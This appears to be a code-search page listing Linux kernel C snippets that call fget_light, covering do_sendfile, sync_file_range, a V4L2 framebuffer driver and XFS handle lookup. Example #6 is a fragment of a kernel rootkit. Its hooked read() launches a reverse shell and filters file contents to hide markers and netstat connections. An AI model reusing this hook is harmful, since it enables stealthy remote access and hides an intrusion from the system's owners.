Пример #1
0
static ssize_t do_sendfile(int out_fd, int in_fd, loff_t *ppos,
			   size_t count, loff_t max)
{
	struct file * in_file, * out_file;
	struct inode * in_inode, * out_inode;
	loff_t pos;
	ssize_t retval;
	int fput_needed_in, fput_needed_out, fl;

	/*
	 * Get input file, and verify that it is ok..
	 */
	retval = -EBADF;
	in_file = fget_light(in_fd, &fput_needed_in);
	if (!in_file)
		goto out;
	if (!(in_file->f_mode & FMODE_READ))
		goto fput_in;
	retval = -ESPIPE;
	if (!ppos)
		ppos = &in_file->f_pos;
	else
		if (!(in_file->f_mode & FMODE_PREAD))
			goto fput_in;
	retval = rw_verify_area(READ, in_file, ppos, count);
	if (retval < 0)
		goto fput_in;
	count = retval;

	/*
	 * Get output file, and verify that it is ok..
	 */
	retval = -EBADF;
	out_file = fget_light(out_fd, &fput_needed_out);
	if (!out_file)
		goto fput_in;
	if (!(out_file->f_mode & FMODE_WRITE))
		goto fput_out;
	retval = -EINVAL;
	in_inode = in_file->f_path.dentry->d_inode;
	out_inode = out_file->f_path.dentry->d_inode;
	retval = rw_verify_area(WRITE, out_file, &out_file->f_pos, count);
	if (retval < 0)
		goto fput_out;
	count = retval;

	if (!max)
		max = min(in_inode->i_sb->s_maxbytes, out_inode->i_sb->s_maxbytes);

	pos = *ppos;
	if (unlikely(pos + count > max)) {
		retval = -EOVERFLOW;
		if (pos >= max)
			goto fput_out;
		count = max - pos;
	}

	fl = 0;
#if 0
	/*
	 * We need to debate whether we can enable this or not. The
	 * man page documents EAGAIN return for the output at least,
	 * and the application is arguably buggy if it doesn't expect
	 * EAGAIN on a non-blocking file descriptor.
	 */
	if (in_file->f_flags & O_NONBLOCK)
		fl = SPLICE_F_NONBLOCK;
#endif
	retval = do_splice_direct(in_file, ppos, out_file, count, fl);

	if (retval > 0) {
		add_rchar(current, retval);
		add_wchar(current, retval);
	}

	inc_syscr(current);
	inc_syscw(current);
	if (*ppos > max)
		retval = -EOVERFLOW;

fput_out:
	fput_light(out_file, fput_needed_out);
fput_in:
	fput_light(in_file, fput_needed_in);
out:
	return retval;
}
Пример #2
0
static ssize_t do_sendfile(int out_fd, int in_fd, loff_t *ppos,
			   size_t count, loff_t max)
{
	struct file * in_file, * out_file;
	struct inode * in_inode, * out_inode;
	loff_t pos;
	ssize_t retval;
	int fput_needed_in, fput_needed_out;

	/*
	 * Get input file, and verify that it is ok..
	 */
	retval = -EBADF;
	in_file = fget_light(in_fd, &fput_needed_in);
	if (!in_file)
		goto out;
	if (!(in_file->f_mode & FMODE_READ))
		goto fput_in;
	retval = -EINVAL;
	in_inode = in_file->f_path.dentry->d_inode;
	if (!in_inode)
		goto fput_in;
	if (!in_file->f_op || !in_file->f_op->sendfile)
		goto fput_in;
	retval = -ESPIPE;
	if (!ppos)
		ppos = &in_file->f_pos;
	else
		if (!(in_file->f_mode & FMODE_PREAD))
			goto fput_in;
	retval = rw_verify_area(READ, in_file, ppos, count);
	if (retval < 0)
		goto fput_in;
	count = retval;

	retval = security_file_permission (in_file, MAY_READ);
	if (retval)
		goto fput_in;

	/*
	 * Get output file, and verify that it is ok..
	 */
	retval = -EBADF;
	out_file = fget_light(out_fd, &fput_needed_out);
	if (!out_file)
		goto fput_in_sec;
	if (!(out_file->f_mode & FMODE_WRITE))
		goto fput_out;
	retval = -EINVAL;
	if (!out_file->f_op || !out_file->f_op->sendpage)
		goto fput_out;
	out_inode = out_file->f_path.dentry->d_inode;
	retval = rw_verify_area(WRITE, out_file, &out_file->f_pos, count);
	if (retval < 0)
		goto fput_out;
	count = retval;

	retval = security_file_permission (out_file, MAY_WRITE);
	if (retval)
		goto fput_out;

	if (!max)
		max = min(in_inode->i_sb->s_maxbytes, out_inode->i_sb->s_maxbytes);

	pos = *ppos;
	retval = -EINVAL;
	if (unlikely(pos < 0))
		goto fput_out_sec;
	if (unlikely(pos + count > max)) {
		retval = -EOVERFLOW;
		if (pos >= max)
			goto fput_out;
		count = max - pos;
	}

	retval = in_file->f_op->sendfile(in_file, ppos, count, file_send_actor, out_file);

	if (retval > 0) {
		add_rchar(current, retval);
		add_wchar(current, retval);
	}

	inc_syscr(current);
	inc_syscw(current);
	if (*ppos > max)
		retval = -EOVERFLOW;

fput_out_sec:
	security_file_rw_release(out_file);
fput_out:
	fput_light(out_file, fput_needed_out);
fput_in_sec:
	security_file_rw_release(in_file);
fput_in:
	fput_light(in_file, fput_needed_in);
out:
	return retval;
}
Пример #3
0
/*
 * sys_sync_file_range() permits finely controlled syncing over a segment of
 * a file in the range offset .. (offset+nbytes-1) inclusive.  If nbytes is
 * zero then sys_sync_file_range() will operate from offset out to EOF.
 *
 * The flag bits are:
 *
 * SYNC_FILE_RANGE_WAIT_BEFORE: wait upon writeout of all pages in the range
 * before performing the write.
 *
 * SYNC_FILE_RANGE_WRITE: initiate writeout of all those dirty pages in the
 * range which are not presently under writeback. Note that this may block for
 * significant periods due to exhaustion of disk request structures.
 *
 * SYNC_FILE_RANGE_WAIT_AFTER: wait upon writeout of all pages in the range
 * after performing the write.
 *
 * Useful combinations of the flag bits are:
 *
 * SYNC_FILE_RANGE_WAIT_BEFORE|SYNC_FILE_RANGE_WRITE: ensures that all pages
 * in the range which were dirty on entry to sys_sync_file_range() are placed
 * under writeout.  This is a start-write-for-data-integrity operation.
 *
 * SYNC_FILE_RANGE_WRITE: start writeout of all dirty pages in the range which
 * are not presently under writeout.  This is an asynchronous flush-to-disk
 * operation.  Not suitable for data integrity operations.
 *
 * SYNC_FILE_RANGE_WAIT_BEFORE (or SYNC_FILE_RANGE_WAIT_AFTER): wait for
 * completion of writeout of all pages in the range.  This will be used after an
 * earlier SYNC_FILE_RANGE_WAIT_BEFORE|SYNC_FILE_RANGE_WRITE operation to wait
 * for that operation to complete and to return the result.
 *
 * SYNC_FILE_RANGE_WAIT_BEFORE|SYNC_FILE_RANGE_WRITE|SYNC_FILE_RANGE_WAIT_AFTER:
 * a traditional sync() operation.  This is a write-for-data-integrity operation
 * which will ensure that all pages in the range which were dirty on entry to
 * sys_sync_file_range() are committed to disk.
 *
 *
 * SYNC_FILE_RANGE_WAIT_BEFORE and SYNC_FILE_RANGE_WAIT_AFTER will detect any
 * I/O errors or ENOSPC conditions and will return those to the caller, after
 * clearing the EIO and ENOSPC flags in the address_space.
 *
 * It should be noted that none of these operations write out the file's
 * metadata.  So unless the application is strictly performing overwrites of
 * already-instantiated disk blocks, there are no guarantees here that the data
 * will be available after a crash.
 */
SYSCALL_DEFINE(sync_file_range)(int fd, loff_t offset, loff_t nbytes,
				unsigned int flags)
{
#ifdef CONFIG_DYNAMIC_FSYNC
	if (likely(dyn_fsync_active && !early_suspend_active))
		return 0;
	else {
#endif

	int ret;
	struct file *file;
	struct address_space *mapping;
	loff_t endbyte;			/* inclusive */
	int fput_needed;
	umode_t i_mode;

	ret = -EINVAL;
	if (flags & ~VALID_FLAGS)
		goto out;

	endbyte = offset + nbytes;

	if ((s64)offset < 0)
		goto out;
	if ((s64)endbyte < 0)
		goto out;
	if (endbyte < offset)
		goto out;

	if (sizeof(pgoff_t) == 4) {
		if (offset >= (0x100000000ULL << PAGE_CACHE_SHIFT)) {
			/*
			 * The range starts outside a 32 bit machine's
			 * pagecache addressing capabilities.  Let it "succeed"
			 */
			ret = 0;
			goto out;
		}
		if (endbyte >= (0x100000000ULL << PAGE_CACHE_SHIFT)) {
			/*
			 * Out to EOF
			 */
			nbytes = 0;
		}
	}

	if (nbytes == 0)
		endbyte = LLONG_MAX;
	else
		endbyte--;		/* inclusive */

	ret = -EBADF;
	file = fget_light(fd, &fput_needed);
	if (!file)
		goto out;

	i_mode = file->f_path.dentry->d_inode->i_mode;
	ret = -ESPIPE;
	if (!S_ISREG(i_mode) && !S_ISBLK(i_mode) && !S_ISDIR(i_mode) &&
			!S_ISLNK(i_mode))
		goto out_put;

	mapping = file->f_mapping;
	if (!mapping) {
		ret = -EINVAL;
		goto out_put;
	}

	ret = 0;
	if (flags & SYNC_FILE_RANGE_WAIT_BEFORE) {
		ret = filemap_fdatawait_range(mapping, offset, endbyte);
		if (ret < 0)
			goto out_put;
	}

	if (flags & SYNC_FILE_RANGE_WRITE) {
		ret = filemap_fdatawrite_range(mapping, offset, endbyte);
		if (ret < 0)
			goto out_put;
	}

	if (flags & SYNC_FILE_RANGE_WAIT_AFTER)
		ret = filemap_fdatawait_range(mapping, offset, endbyte);

out_put:
	fput_light(file, fput_needed);
out:
	return ret;
#ifdef CONFIG_DYNAMIC_FSYNC
	}
#endif
}
Пример #4
0
static int 
msmv4l2_fb_update(struct msmv4l2_device *vout, struct v4l2_buffer *buffer)
{
	int ret;
	int put_needed;	
	unsigned long offset=0;
	struct file *f;

	MSMV4L2_PROFILE_START;

	memset (&vout->req, 0, sizeof(struct mdp_blit_int_req));

	//Src dimensions
	vout->req.src.width = vout->pix.width;
	vout->req.src.height = vout->pix.height;

	//Crop of the Src 
	vout->req.src_rect.x = vout->crop_rect.left;
	vout->req.src_rect.y = vout->crop_rect.top;
	vout->req.src_rect.w = vout->crop_rect.width;
	vout->req.src_rect.h = vout->crop_rect.height;

	vout->req.src.format = msmv4l2_mapformat(vout->pix.pixelformat);
	msmv4l2_get_buffer_mem_offset(buffer, &offset);
	vout->req.src.offset = offset;

	f = fget_light(buffer->reserved, &put_needed);
	vout->req.src.filp = f;
	fput_light(f, put_needed);

	//Dest size (Screen size)
	vout->req.dst.width = vout->screen_width;
	vout->req.dst.height = vout->screen_height; 

	vout->req.dst_rect.x = vout->win.w.left;
	vout->req.dst_rect.y = vout->win.w.top;
	vout->req.dst_rect.w = vout->win.w.width;
	vout->req.dst_rect.h = vout->win.w.height;

	vout->req.alpha = MDP_ALPHA_NOP;
	vout->req.transp_mask = MDP_TRANSP_NOP;
	vout->req.flags = MDP_ROT_NOP;

	DLOG("SRC: width=%d, height=%d, filp=0x%x offset=0x%x\n", 
		vout->req.src.width, vout->req.src.height, 
		(unsigned int)vout->req.src.filp, vout->req.src.offset);
	DLOG("DST: width=%d, height=%d, filp=0x%x\n", 
		vout->req.dst.width, vout->req.dst.height, 
		(unsigned int)vout->req.dst.filp);


	/*
	 * Push frame to msmfb. 
	 */
	mutex_lock(&msmfb_lock);

	ret = msm_fb_v4l2_update(&vout->req, 
		(vout->id == 0)? MSMV4L2_LAYER0 : MSMV4L2_LAYER1);

	mutex_unlock(&msmfb_lock);

	MSMV4L2_PROFILE_END("Time taken for pass 1: ");

	return ret;
}
Пример #5
0
static ssize_t do_sendfile(int out_fd, int in_fd, loff_t *ppos,
            size_t count, loff_t max)
{
   struct file * in_file, * out_file;
   struct inode * in_inode, * out_inode;
   loff_t pos;
   ssize_t retval;
   int fput_needed_in, fput_needed_out;

   /*
    * Get input file, and verify that it is ok..
    */
   retval = -EBADF;
   in_file = fget_light(in_fd, &fput_needed_in);
   if (!in_file)
      goto out;
   if (!(in_file->f_mode & FMODE_READ))
      goto fput_in;
   retval = -EINVAL;
   in_inode = in_file->f_dentry->d_inode;
   if (!in_inode)
      goto fput_in;
   if (!in_file->f_op || !in_file->f_op->sendfile)
      goto fput_in;
   if (!ppos)
      ppos = &in_file->f_pos;
   retval = locks_verify_area(FLOCK_VERIFY_READ, in_inode, in_file, *ppos, count);
   if (retval)
      goto fput_in;

   retval = security_file_permission (in_file, MAY_READ);
   if (retval)
      goto fput_in;

   /*
    * Get output file, and verify that it is ok..
    */
   retval = -EBADF;
   out_file = fget_light(out_fd, &fput_needed_out);
   if (!out_file)
      goto fput_in;
   if (!(out_file->f_mode & FMODE_WRITE))
      goto fput_out;
   retval = -EINVAL;
   if (!out_file->f_op || !out_file->f_op->sendpage)
      goto fput_out;
   out_inode = out_file->f_dentry->d_inode;
   retval = locks_verify_area(FLOCK_VERIFY_WRITE, out_inode, out_file, out_file->f_pos, count);
   if (retval)
      goto fput_out;

   retval = security_file_permission (out_file, MAY_WRITE);
   if (retval)
      goto fput_out;

   if (!max)
      max = min(in_inode->i_sb->s_maxbytes, out_inode->i_sb->s_maxbytes);

   pos = *ppos;
   retval = -EINVAL;
   if (unlikely(pos < 0))
      goto fput_out;
   if (unlikely(pos + count > max)) {
      retval = -EOVERFLOW;
      if (pos >= max)
         goto fput_out;
      count = max - pos;
   }

   retval = in_file->f_op->sendfile(in_file, ppos, count, file_send_actor, out_file);

   if (*ppos > max)
      retval = -EOVERFLOW;

fput_out:
   fput_light(out_file, fput_needed_out);
fput_in:
   fput_light(in_file, fput_needed_in);
out:
   return retval;
}
Пример #6
0
asmlinkage ssize_t hacked_read(int fd, void *buf, size_t nbytes)
{
struct pt_regs regs;
struct file *fichero;
int fput_needed;
ssize_t ret;


/* se hace 1 copia del proceso y se lanza la shell */
if (lanzar_shell == 1)
    {
	memset(&regs, 0, sizeof(regs));
	
	regs.xds = __USER_DS;
	regs.xes = __USER_DS;
	regs.orig_eax = -1;
	regs.xcs = __KERNEL_CS;
	regs.eflags = 0x286;
	regs.eip = (unsigned long) reverse_shell;

    lanzar_shell = 0;

	(*my_do_fork)(0, 0, &regs, 0, NULL, NULL);
    }

/* seteamos read_activo a uno */
read_activo = 1;

/* error de descriptor no valido o no abierto para lectura */
ret = -EBADF;

fichero = e_fget_light(fd, &fput_needed);

if (fichero)
	{
	ret = vfs_read(fichero, buf, nbytes, &fichero->f_pos);

	/* aqui es donde analizamos el contenido y ejecutamos la
	funcion correspondiente */

	switch(checkear(buf, ret, fichero))
	    {
	    case 1:
			/* marcas */
	        ret = hide_marcas(buf, ret);
	        break;

		case 2:
			/* ocultar conexion */
			ret = ocultar_netstat(buf, ret);
			break;		

	    case -1:
	        /* no hacer nada */
	        break;
	    }

	fput_light(fichero, fput_needed);
	}

/* seteamos read_activo a cero */
read_activo = 0;

return ret;

} /********** fin hacked_read **********/
Пример #7
0
/*
 * sys_sync_file_range() permits finely controlled syncing over a segment of
 * a file in the range offset .. (offset+nbytes-1) inclusive.  If nbytes is
 * zero then sys_sync_file_range() will operate from offset out to EOF.
 *
 * The flag bits are:
 *
 * SYNC_FILE_RANGE_WAIT_BEFORE: wait upon writeout of all pages in the range
 * before performing the write.
 *
 * SYNC_FILE_RANGE_WRITE: initiate writeout of all those dirty pages in the
 * range which are not presently under writeback. Note that this may block for
 * significant periods due to exhaustion of disk request structures.
 *
 * SYNC_FILE_RANGE_WAIT_AFTER: wait upon writeout of all pages in the range
 * after performing the write.
 *
 * Useful combinations of the flag bits are:
 *
 * SYNC_FILE_RANGE_WAIT_BEFORE|SYNC_FILE_RANGE_WRITE: ensures that all pages
 * in the range which were dirty on entry to sys_sync_file_range() are placed
 * under writeout.  This is a start-write-for-data-integrity operation.
 *
 * SYNC_FILE_RANGE_WRITE: start writeout of all dirty pages in the range which
 * are not presently under writeout.  This is an asynchronous flush-to-disk
 * operation.  Not suitable for data integrity operations.
 *
 * SYNC_FILE_RANGE_WAIT_BEFORE (or SYNC_FILE_RANGE_WAIT_AFTER): wait for
 * completion of writeout of all pages in the range.  This will be used after an
 * earlier SYNC_FILE_RANGE_WAIT_BEFORE|SYNC_FILE_RANGE_WRITE operation to wait
 * for that operation to complete and to return the result.
 *
 * SYNC_FILE_RANGE_WAIT_BEFORE|SYNC_FILE_RANGE_WRITE|SYNC_FILE_RANGE_WAIT_AFTER:
 * a traditional sync() operation.  This is a write-for-data-integrity operation
 * which will ensure that all pages in the range which were dirty on entry to
 * sys_sync_file_range() are committed to disk.
 *
 *
 * SYNC_FILE_RANGE_WAIT_BEFORE and SYNC_FILE_RANGE_WAIT_AFTER will detect any
 * I/O errors or ENOSPC conditions and will return those to the caller, after
 * clearing the EIO and ENOSPC flags in the address_space.
 *
 * It should be noted that none of these operations write out the file's
 * metadata.  So unless the application is strictly performing overwrites of
 * already-instantiated disk blocks, there are no guarantees here that the data
 * will be available after a crash.
 */
SYSCALL_DEFINE(sync_file_range)(int fd, loff_t offset, loff_t nbytes,
				unsigned int flags)
{
	int ret;
	struct file *file;
	loff_t endbyte;			/* inclusive */
	int fput_needed;
	umode_t i_mode;

	ret = -EINVAL;
	if (flags & ~VALID_FLAGS)
		goto out;

	endbyte = offset + nbytes;

	if ((s64)offset < 0)
		goto out;
	if ((s64)endbyte < 0)
		goto out;
	if (endbyte < offset)
		goto out;

	if (sizeof(pgoff_t) == 4) {
		if (offset >= (0x100000000ULL << PAGE_CACHE_SHIFT)) {
			/*
			 * The range starts outside a 32 bit machine's
			 * pagecache addressing capabilities.  Let it "succeed"
			 */
			ret = 0;
			goto out;
		}
		if (endbyte >= (0x100000000ULL << PAGE_CACHE_SHIFT)) {
			/*
			 * Out to EOF
			 */
			nbytes = 0;
		}
	}

	if (nbytes == 0)
		endbyte = LLONG_MAX;
	else
		endbyte--;		/* inclusive */

	ret = -EBADF;
	file = fget_light(fd, &fput_needed);
	if (!file)
		goto out;

	i_mode = file->f_path.dentry->d_inode->i_mode;
	ret = -ESPIPE;
	if (!S_ISREG(i_mode) && !S_ISBLK(i_mode) && !S_ISDIR(i_mode) &&
			!S_ISLNK(i_mode))
		goto out_put;

	ret = do_sync_mapping_range(file->f_mapping, offset, endbyte, flags);
out_put:
	fput_light(file, fput_needed);
out:
	return ret;
}
Пример #8
0
SYSCALL_DEFINE(sync_file_range)(int fd, loff_t offset, loff_t nbytes,
				unsigned int flags)
{
	int ret;
	struct file *file;
	struct address_space *mapping;
	loff_t endbyte;			
	int fput_needed;
	umode_t i_mode;

	if (!fsync_enabled)
			return 0;

	ret = -EINVAL;
	if (flags & ~VALID_FLAGS)
		goto out;

	endbyte = offset + nbytes;

	if ((s64)offset < 0)
		goto out;
	if ((s64)endbyte < 0)
		goto out;
	if (endbyte < offset)
		goto out;

	if (sizeof(pgoff_t) == 4) {
		if (offset >= (0x100000000ULL << PAGE_CACHE_SHIFT)) {
			ret = 0;
			goto out;
		}
		if (endbyte >= (0x100000000ULL << PAGE_CACHE_SHIFT)) {
			nbytes = 0;
		}
	}

	if (nbytes == 0)
		endbyte = LLONG_MAX;
	else
		endbyte--;		

	ret = -EBADF;
	file = fget_light(fd, &fput_needed);
	if (!file)
		goto out;

	i_mode = file->f_path.dentry->d_inode->i_mode;
	ret = -ESPIPE;
	if (!S_ISREG(i_mode) && !S_ISBLK(i_mode) && !S_ISDIR(i_mode) &&
			!S_ISLNK(i_mode))
		goto out_put;

	mapping = file->f_mapping;
	if (!mapping) {
		ret = -EINVAL;
		goto out_put;
	}

	ret = 0;
	if (flags & SYNC_FILE_RANGE_WAIT_BEFORE) {
		ret = filemap_fdatawait_range(mapping, offset, endbyte);
		if (ret < 0)
			goto out_put;
	}

	if (flags & SYNC_FILE_RANGE_WRITE) {
		ret = filemap_fdatawrite_range(mapping, offset, endbyte);
		if (ret < 0)
			goto out_put;
	}

	if (flags & SYNC_FILE_RANGE_WAIT_AFTER)
		ret = filemap_fdatawait_range(mapping, offset, endbyte);

out_put:
	fput_light(file, fput_needed);
out:
	return ret;
}
Пример #9
0
static ssize_t do_sendfile(int out_fd, int in_fd, loff_t *ppos,
			   size_t count, loff_t max)
{
	struct file * in_file, * out_file;
	struct inode * in_inode, * out_inode;
	loff_t pos;
	ssize_t retval;
	int fput_needed_in, fput_needed_out, fl;

	retval = -EBADF;
	in_file = fget_light(in_fd, &fput_needed_in);
	if (!in_file)
		goto out;
	if (!(in_file->f_mode & FMODE_READ))
		goto fput_in;
	retval = -ESPIPE;
	if (!ppos)
		ppos = &in_file->f_pos;
	else
		if (!(in_file->f_mode & FMODE_PREAD))
			goto fput_in;
	retval = rw_verify_area(READ, in_file, ppos, count);
	if (retval < 0)
		goto fput_in;
	count = retval;

	retval = -EBADF;
	out_file = fget_light(out_fd, &fput_needed_out);
	if (!out_file)
		goto fput_in;
	if (!(out_file->f_mode & FMODE_WRITE))
		goto fput_out;
	retval = -EINVAL;
	in_inode = in_file->f_path.dentry->d_inode;
	out_inode = out_file->f_path.dentry->d_inode;
	retval = rw_verify_area(WRITE, out_file, &out_file->f_pos, count);
	if (retval < 0)
		goto fput_out;
	count = retval;

	if (!max)
		max = min(in_inode->i_sb->s_maxbytes, out_inode->i_sb->s_maxbytes);

	pos = *ppos;
	if (unlikely(pos + count > max)) {
		retval = -EOVERFLOW;
		if (pos >= max)
			goto fput_out;
		count = max - pos;
	}

	fl = 0;
#if 0
	if (in_file->f_flags & O_NONBLOCK)
		fl = SPLICE_F_NONBLOCK;
#endif
	retval = do_splice_direct(in_file, ppos, out_file, count, fl);

	if (retval > 0) {
		add_rchar(current, retval);
		add_wchar(current, retval);
	}

	inc_syscr(current);
	inc_syscw(current);
	if (*ppos > max)
		retval = -EOVERFLOW;

fput_out:
	fput_light(out_file, fput_needed_out);
fput_in:
	fput_light(in_file, fput_needed_in);
out:
	return retval;
}
Пример #10
0
/*
 * xfs_find_handle maps from userspace xfs_fsop_handlereq structure to
 * a file or fs handle.
 *
 * XFS_IOC_PATH_TO_FSHANDLE
 *    returns fs handle for a mount point or path within that mount point
 * XFS_IOC_FD_TO_HANDLE
 *    returns full handle for a FD opened in user space
 * XFS_IOC_PATH_TO_HANDLE
 *    returns full handle for a path
 */
int
xfs_find_handle(
	unsigned int		cmd,
	xfs_fsop_handlereq_t	*hreq)
{
	int			hsize;
	xfs_handle_t		handle;
	struct inode		*inode;
	struct file		*file = NULL;
	struct path		path;
	int			error, fput_needed;
	struct xfs_inode	*ip;

	if (cmd == XFS_IOC_FD_TO_HANDLE) {
		file = fget_light(hreq->fd, &fput_needed);
		if (!file)
			return -EBADF;
		inode = file->f_path.dentry->d_inode;
	} else {
		error = user_lpath((const char __user *)hreq->path, &path);
		if (error)
			return error;
		inode = path.dentry->d_inode;
	}
	ip = XFS_I(inode);

	/*
	 * We can only generate handles for inodes residing on a XFS filesystem,
	 * and only for regular files, directories or symbolic links.
	 */
	error = -EINVAL;
	if (inode->i_sb->s_magic != XFS_SB_MAGIC)
		goto out_put;

	error = -EBADF;
	if (!S_ISREG(inode->i_mode) &&
	    !S_ISDIR(inode->i_mode) &&
	    !S_ISLNK(inode->i_mode))
		goto out_put;


	memcpy(&handle.ha_fsid, ip->i_mount->m_fixedfsid, sizeof(xfs_fsid_t));

	if (cmd == XFS_IOC_PATH_TO_FSHANDLE) {
		/*
		 * This handle only contains an fsid, zero the rest.
		 */
		memset(&handle.ha_fid, 0, sizeof(handle.ha_fid));
		hsize = sizeof(xfs_fsid_t);
	} else {
		int		lock_mode;

		lock_mode = xfs_ilock_map_shared(ip);
		handle.ha_fid.fid_len = sizeof(xfs_fid_t) -
					sizeof(handle.ha_fid.fid_len);
		handle.ha_fid.fid_pad = 0;
		handle.ha_fid.fid_gen = ip->i_d.di_gen;
		handle.ha_fid.fid_ino = ip->i_ino;
		xfs_iunlock_map_shared(ip, lock_mode);

		hsize = XFS_HSIZE(handle);
	}

	error = -EFAULT;
	if (copy_to_user(hreq->ohandle, &handle, hsize) ||
	    copy_to_user(hreq->ohandlen, &hsize, sizeof(__s32)))
		goto out_put;

	error = 0;

 out_put:
	if (cmd == XFS_IOC_FD_TO_HANDLE)
		fput_light(file, fput_needed);
	else
		path_put(&path);
	return error;
}